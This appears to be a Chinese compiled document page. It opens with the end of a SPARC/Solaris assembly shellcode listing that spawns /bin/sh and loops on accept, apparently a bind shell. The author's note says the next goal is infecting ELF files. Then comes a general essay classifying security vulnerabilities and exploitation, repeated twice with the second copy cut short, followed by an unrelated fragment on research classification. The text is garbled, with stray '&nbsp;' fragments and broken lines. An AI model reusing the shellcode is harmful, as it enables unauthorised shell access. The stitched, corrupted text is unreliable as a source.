and %sp, %sp, %o0 ! $o0 指向字符串/bin/sh
add %sp, 8, %o1 ! $o1 存放一个地址,该地址处存放了指向字符串的指针
xor %o2, %o2, %o2 ! %o2寄存器清零
add %sp, 16, !
%sp ! 留出存储!
空间
std %l4, [%sp - 16] ! 存放字符串
st %o0, [%sp - 8] ! 存放字符串指针
st %g0, [%sp - 4] ! %g0总是为0
mov 0x3b, %g1 ! 将0x3b拷贝到%g1寄存器中
ta 8 ! 执行中断指令ta 8(execve()完成)
call exit ! !
保护措施,防止失控
nop
loop:
mov 0x06, %o0 ! 第一个参数6
ld [ %l7 + 4 ], %o1 ! 第二个参数c
clr %g1
ta 8 ! close( c )
call accept
nop
exit:
mov 0x01, %o0
clr %o1
&nbs!
p; clr %g1
&!
nbsp;&nb
sp; ta 8 ! exit( 0 )
.byte 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
.byte 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
.byte 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
.byte 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
”);
} /* end of main */
--------------------------------------------------------------------------
7.12注:由于众所周知的原因,最后的四个.byte指令我全部替换成现在的样子,如
果你看懂了原理,自己随便改改就是了,否则别怨我什么。
测试后效果还可以,接下来的任务是SPARC/Sol!
aris下ELF格式文件的感染,估计很头
疼,如果实在太难我就放弃了,这个方向不是那么好玩的,弄不好把自己就给兜进去
了。
篇4:不同角度看安全漏洞的分类和利用
网络安全的核心目标是保障业务系统的可持续性和数据的安全性,而这两点的主要威胁来自于蠕虫的暴发、的攻击、拒绝服务攻击、木马,蠕虫、攻击问题都和漏洞紧密联系在一起,一旦有重大安全漏洞出现,整个互联网就会面临一次重大挑战。虽然传统木马和安全漏洞关系不大,但最近很多木马都巧妙的利用了IE 的漏洞,让你在浏览网页时不知不觉的就中了招。
安全漏洞的定义已经有很多了,我这里给出一个通俗的说法就是:能够被利用来干“原本以为”不能干的事,并且和安全相关的缺陷。这个缺陷可以是设计上的问题、程序代码实现上的问题。
一、不同角度看安全漏洞的分类
对一个特定程序的安全漏洞可以从多方面进行分类。
1. 从用户群体分类:
◆ 大众类软件的漏洞。如Windows的漏洞、IE的漏洞等等。
◆ 专用软件的漏洞。如Oracle漏洞、Apache漏洞等等。
2. 从数据角度看分为:
◆ 能读按理不能读的数据,包括内存中的数据、文件中的数据、用户输入的数据、数据库中的数据、网络上传输的数据等等。
◆ 能把指定的内容写入指定的地方(这个地方包括文件、内存、数据库等)
◆ 输入的数据能被执行(包括按机器码执行、按Shell代码执行、按SQL代码执行等等)
3. 从作用范围角度看分为:
◆ 远程漏洞,攻击者可以利用并直接通过网络发起攻击的漏洞。这类漏洞危害极大,攻击者能随心所欲的通过此漏洞操作他人的电脑。并且此类漏洞很容易导致蠕虫攻击,在Windows。
◆ 本地漏洞,攻击者必须在本机拥有访问权限前提下才能发起攻击的漏洞。比较典型的是本地权限提升漏洞,这类漏洞在Unix系统中广泛存在,能让普通用户获得最高管理员权限。
4. 从触发条件上看可以分为:
◆ 主动触发漏洞,攻击者可以主动利用该漏洞进行攻击,如直接访问他人计算机。
◆ 被动触发漏洞,必须要计算机的操作人员配合才能进行攻击利用的漏洞。比如攻击者给管理员发一封邮件,带了一个特殊的jpg图片文件,如果管理员打开图片文件就会导致看图软件的某个漏洞被触发,从而系统被攻击,但如果管理员不看这个图片则不会受攻击。
5. 从操作角度看可分为:
◆ 文件操作类型,主要为操作的目标文件路径可被控制(如通过参数、配置文件、环境变量、符号链接灯),这样就可能导致下面两个问题:
写入内容可被控制,从而可伪造文件内容,导致权限提升或直接修改重要数据(如修改存贷数据),这类漏洞有很多,如历史上Oracle TNS LOG文件可指定漏洞,可导致任何人可控制运行Oracle服务的计算机;
内容信息可被输出,包含内容被打印到屏幕、记录到可读的日志文件、产生可被用户读的core文件等等,这类漏洞在历史上Unix系统中的crontab子系统中出现过很多次,普通用户能读受保护的shadow文件;
◆ 内存覆盖,主要为内存单元可指定,写入内容可指定,这样就能执行攻击者想执行的代码(缓冲区溢出、格式串漏洞、PTrace漏洞、历史上Windows2000的硬件调试寄存器用户可写漏洞)或直接修改内存中的机密数据。
◆ 逻辑错误,这类漏洞广泛存在,但很少有范式,所以难以查觉,可细分为:
条件竞争漏洞(通常为设计问题,典型的有Ptrace漏洞、广泛存在的文件操作时序竞争)
策略错误,通常为设计问题,如历史上FreeBSD的Smart IO漏洞。
算法问题(通常为设计问题或代码实现问题),如历史上微软的Windows 95/98的共享口令可轻易获取漏洞。
设计的不完善,如TCP/IP协议中的3步握手导致了SYN FLOOD拒绝服务攻击。
实现中的错误(通常为设计没有问题,但编码人员出现了逻辑错误,如历史上 系统的伪随机算法实现问题)
◆ 外部命令执行问题,典型的有外部命令可被控制(通过PATH变量,输入中的SHELL特殊字符等等)和SQL注入问题。
6. 从时序上看可分为:
◆ 已发现很久的漏洞:厂商已经发布补丁或修补方法,很多人都已经知道。这类漏洞通常很多人已经进行了修补,宏观上看危害比较小。
◆ 刚发现的漏洞:厂商刚发补丁或修补方法,知道的人还不多。相对于上一种漏洞其危害性较大,如果此时出现了蠕虫或傻瓜化的利用程序,那么会导致大批系统受到攻击。
◆ 0day:还没有公开的漏洞,在私下交易中的。这类漏洞通常对大众不会有什么影响,但会导致攻击者瞄准的目标受到精确攻击,危害也是非常之大。
二、不同角度看待漏洞利用
如果一个缺陷不能被利用来干“原本”不能干的事(安全相关的),那么就不能被称为安全漏洞,所以安全漏洞必然和漏洞利用紧密联系在一起,
漏洞利用的视角有:
◆ 数据视角:访问本来不可访问的数据,包括读和写。这一条通常是攻击者的核心目的,而且可造成非常严重的灾难(如银行数据可被人写)。
◆ 权限视角:主要为权限绕过或权限提升。通常权限提升都是为了获得期望的数据操作能力。
◆ 可用性视角:获得对系统某些服务的控制权限,这可能导致某些重要服务被攻击者停止而导致拒绝服务攻击。
◆ 认证绕过:通常利用认证系统的漏洞而不用受权就能进入系统。通常认证绕过都是为权限提升或直接的数据访问服务的。
◆ 代码执行角度:主要是让程序将输入的内容作为代码来执行,从而获得远程系统的访问权限或本地系统的更高权限。这个角度是SQL注入、内存指针游戏类漏洞(缓冲区溢出、格式串、整形溢出等等)等的主要驱动。这个角度通常为绕过系统认证、权限提升、数据读取作准备的。
三、漏洞发掘方法
首先必须清除安全漏洞是软件BUG的一个子集,一切软件测试的手段都对安全漏洞发掘实用。现在” “用的各种漏洞发掘手段里有模式可循的有:
◆ fuzz测试(黑盒测试),通过构造可能导致程序出现问题的方式构造输入数据进行自动测试。
◆ 源码审计(白盒测试),现在有了一系列的工具都能协助发现程序中的安全BUG,最简单的就是你手上最新版本的C语言编译器。
◆ IDA反汇编审计(灰盒测试),这和上面的源码审计非常类似,唯一不同的是很多时候你能获得软件,但你无法拿到源码来审计,但IDA是一个非常强大的反汇编平台,能让你基于汇编码(其实也是源码的等价物)进行安全审计。
◆ 动态跟踪分析,就是记录程序在不同条件下执行的全部和安全问题相关的操作(如文件操作),然后分析这些操作序列是否存在问题,这是竞争条件类漏洞发现的主要途径之一,其他的污点传播跟踪也属于这类。
◆ 补丁比较,厂商的软件出了问题通常都会在补丁中解决,通过对比补丁前后文件的源码(或反汇编码)就能了解到漏洞的具体细节。
以上手段中无论是用哪种都涉及到一个关键点:需要通过人工分析来找到全面的流程覆盖路径。分析手法多种多样,有分析设计文档、分析源码、分析反汇编代码、动态调试程序等。
四、漏洞等级评定
考察漏洞的危害性应该紧密的和利用该漏洞带来的危害相关,并不是通常大家认识的所有缓冲区溢出漏洞都是高危漏洞。以远程漏洞为例,比较好的划分方法为:
1 可远程获取OS、应用程序版本信息。
2 开放了不必要或危险得服务,可远程获取系统敏感信息。
3 可远程进行受限的文件、数据读取。
4 可远程进行重要或不受限文件、数据读取。
5 可远程进行受限文件、数据修改。
6 可远程进行受限重要文件、数据修改。
7 可远程进行不受限得重要文件、数据修改,或对普通服务进行拒绝服务攻击。
8 可远程以普通用户身份执行命令或进行系统、网络级的拒绝服务攻击。
9 可远程以管理用户身份执行命令(受限、不太容易利用)。
10 可远程以管理用户身份执行命令(不受限、容易利用)。
本地漏洞几乎都是导致代码执行,归入上面的10分制可以为:
5 远程主动触发代码执行(如IE的漏洞)。
6 远程被动触发代码执行(如Word漏洞/看图软件漏洞)。
五、DEMO
一个防火墙隔离(只允许运维部的人访问)的网络里运行一台Unix服务器;操作系统中只有root用户和oracle用户可登陆,操作系统中运行了Apache(nobody权限)、Oracle(oracle用户权限)等服务。
一个攻击者的目的是修改Oracle数据库中的帐单表的数据。
其可能的攻击步骤为:
1. 接入运维部的网络,获得一个运维部的IP地址从而能通过防火墙访问被保护的Unix服务器。
2. 利用Apache服务的某远程缓冲区溢出漏洞直接获得一个nobody权限的shell访问。
3. 利用操作系统某suid程序的漏洞将自己的权限提升到root权限。
4. 用Oracle的sysdba登陆进入数据库(本地登陆不需要密码)。
5. 修改目标表的数据。
以上5个过程分析下来为:
第1步:认证绕过
第2步:远程漏洞、代码执行(机器码)、认证绕过
第3步:权限提升、认证绕过
第4步:认证绕过
第5步:数据写
篇5:不同角度看安全漏洞的分类和利用
网络安全的核心目标是保障业务系统的可持续性和数据的安全性,而这两点的主要威胁来自于蠕虫的暴发、的攻击、拒绝服务攻击、木马,蠕虫、攻击问题都和漏洞紧密联系在一起,一旦有重大安全漏洞出现,整个互联网就会面临一次重大挑战。虽然传统木马和安全漏洞关系不大,但最近很多木马都巧妙的利用了IE 的漏洞,让你在浏览网页时不知不觉的就中了招。
安全漏洞的定义已经有很多了,我这里给出一个通俗的说法就是:能够被利用来干“原本以为”不能干的事,并且和安全相关的缺陷。这个缺陷可以是设计上的问题、程序代码实现上的问题。
一、不同角度看安全漏洞的分类
对一个特定程序的安全漏洞可以从多方面进行分类。
1. 从用户群体分类:
◆ 大众类软件的漏洞。如Windows的漏洞、IE的漏洞等等。
◆ 专用软件的漏洞。如Oracle漏洞、Apache漏洞等等。
2. 从数据角度看分为:
◆ 能读按理不能读的数据,包括内存中的数据、文件中的数据、用户输入的数据、数据库中的数据、网络上传输的数据等等。
◆ 能把指定的内容写入指定的地方(这个地方包括文件、内存、数据库等)
◆ 输入的数据能被执行(包括按机器码执行、按Shell代码执行、按SQL代码执行等等)
3. 从作用范围角度看分为:
◆ 远程漏洞,攻击者可以利用并直接通过网络发起攻击的漏洞。这类漏洞危害极大,攻击者能随心所欲的通过此漏洞操作他人的电脑。并且此类漏洞很容易导致蠕虫攻击,在Windows。
◆ 本地漏洞,攻击者必须在本机拥有访问权限前提下才能发起攻击的漏洞。比较典型的是本地权限提升漏洞,这类漏洞在Unix系统中广泛存在,能让普通用户获得最高管理员权限。
4. 从触发条件上看可以分为:
◆ 主动触发漏洞,攻击者可以主动利用该漏洞进行攻击,如直接访问他人计算机。
◆ 被动触发漏洞,必须要计算机的操作人员配合才能进行攻击利用的漏洞。比如攻击者给管理员发一封邮件,带了一个特殊的jpg图片文件,如果管理员打开图片文件就会导致看图软件的某个漏洞被触发,从而系统被攻击,但如果管理员不看这个图片则不会受攻击。
5. 从操作角度看可分为:
◆ 文件操作类型,主要为操作的目标文件路径可被控制(如通过参数、配置文件、环境变量、符号链接灯),这样就可能导致下面两个问题:
写入内容可被控制,从而可伪造文件内容,导致权限提升或直接修改重要数据(如修改存贷数据),这类漏洞有很多,如历史上Oracle TNS LOG文件可指定漏洞,可导致任何人可控制运行Oracle服务的计算机;
内容信息可被输出,包含内容被打印到屏幕、记录到可读的日志文件、产生可被用户读的core文件等等,这类漏洞在历史上Unix系统中的crontab子系统中出现过很多次,普通用户能读受保护的shadow文件;
◆ 内存覆盖,主要为内存单元可指定,写入内容可指定,这样就能执行攻击者想执行的代码(缓冲区溢出、格式串漏洞、PTrace漏洞、历史上Windows的硬件调试寄存器用户可写漏洞)或直接修改内存中的机密数据,
◆ 逻辑错误,这类漏洞广泛存在,但很少有范式,所以难以查觉,可细分为:
条件竞争漏洞(通常为设计问题,典型的有Ptrace漏洞、广泛存在的文件操作时序竞争)
策略错误,通常为设计问题,如历史上FreeBSD的Smart IO漏洞。
算法问题(通常为设计问题或代码实现问题),如历史上微软的Windows 95/98的共享口令可轻易获取漏洞。
设计的不完善,如TCP/IP协议中的3步握手导致了SYN FLOOD拒绝服务攻击。
实现中的错误(通常为设计没有问题,但编码人员出现了逻辑错误,如历史上 系统的伪随机算法实现问题)
◆ 外部命令执行问题,典型的有外部命令可被控制(通过PATH变量,输入中的SHELL特殊字符等等)和SQL注入问题。
6. 从时序上看可分为:
◆ 已发现很久的漏洞:厂商已经发布补丁或修补方法,很多人都已经知道。这类漏洞通常很多人已经进行了修补,宏观上看危害比较小。
◆ 刚发现的漏洞:厂商刚发补丁或修补方法,知道的人还不多。相对于上一种漏洞其危害性较大,如果此时出现了蠕虫或傻瓜化的利用程序,那么会导致大批系统受到攻击。
◆ 0day:还没有公开的漏洞,在私下交易中的。这类漏洞通常对大众不会有什么影响,但会导致攻击者瞄准的目标受到精确攻击,危害也是非常之大。
二、不同角度看待漏洞利用
如果一个缺陷不能被利用来干“原本”不能干的事(安全相关的),那么就不能被称为安全漏洞,所以安全漏洞必然和漏洞利用紧密联系在一起。
漏洞利用的视角有:
◆ 数据视角:访问本来不可访问的数据,包括读和写。这一条通常是攻击者的核心目的,而且可造成非常严重的灾难(如银行数据可被人写)。
◆ 权限视角:主要为权限绕过或权限提升。通常权限提升都是为了获得期望的数据操作能力。
◆ 可用性视角:获得对系统某些服务的控制权限,这可能导致某些重要服务被攻击者停止而导致拒绝服务攻击。
◆ 认证绕过:通常利用认证系统的漏洞而不用受权就能进入系统。通常认证绕过都是为权限提升或直接的数据访问服务的。
◆ 代码执行角度:主要是让程序将输入的内容作为代码来执行,从而获得远程系统的访问权限或本地系统的更高权限。这个角度是SQL注入、内存指针游戏类漏洞(缓冲区溢出、格式串、整形溢出等等)等的主要驱动。这个角度通常为绕过系统认证、权限提升、数据读取作准备的。
三、漏洞发掘方法
首先必须清除安全漏洞是软件BUG的一个子集,一切软件测试的手段都对安全漏洞发掘实用。现在” “用的各种漏洞发掘手段里有模式可循的有:
◆ fuzz测试(黑盒测试),通过构造可能导致程序出现问题的方式构造输入数据进行自动测试。
◆ 源码审计(白盒测试),现在有了一系列的工具都能协助发现程序中的安全BUG,最简单的就是你手上最新版本的C语言编译器。
篇6:论文研究的分类
研究的分类有不同的标准,这些标准决定了分类的基础,
1)基础研究(basic research)与应用研究(applied research)
基础研究的特征是试图在一个学科或研究领域确定或建立基本事实和关系。
应用研究是为获得解决某个特定问题的信息所进行的特定研究。
基础研究与应用研究的一个重要区别在于各自侧重点的不同。相对而言,基础研究不强调对现实的政策和管理问题的应用;而应用研究是对那些最现实的问题的研究。这种分类由于缺乏明确的界限而具有一定的局限性。例如,有些基础研究是为了发展一种方法、计量手段或理论以便用于应用性问题。那么,这样的问题是“基础”研究,还是“应用”研究?对这样的问题,两种看法都有道理。
2)学科研究(disciplinary research)、
文档为doc格式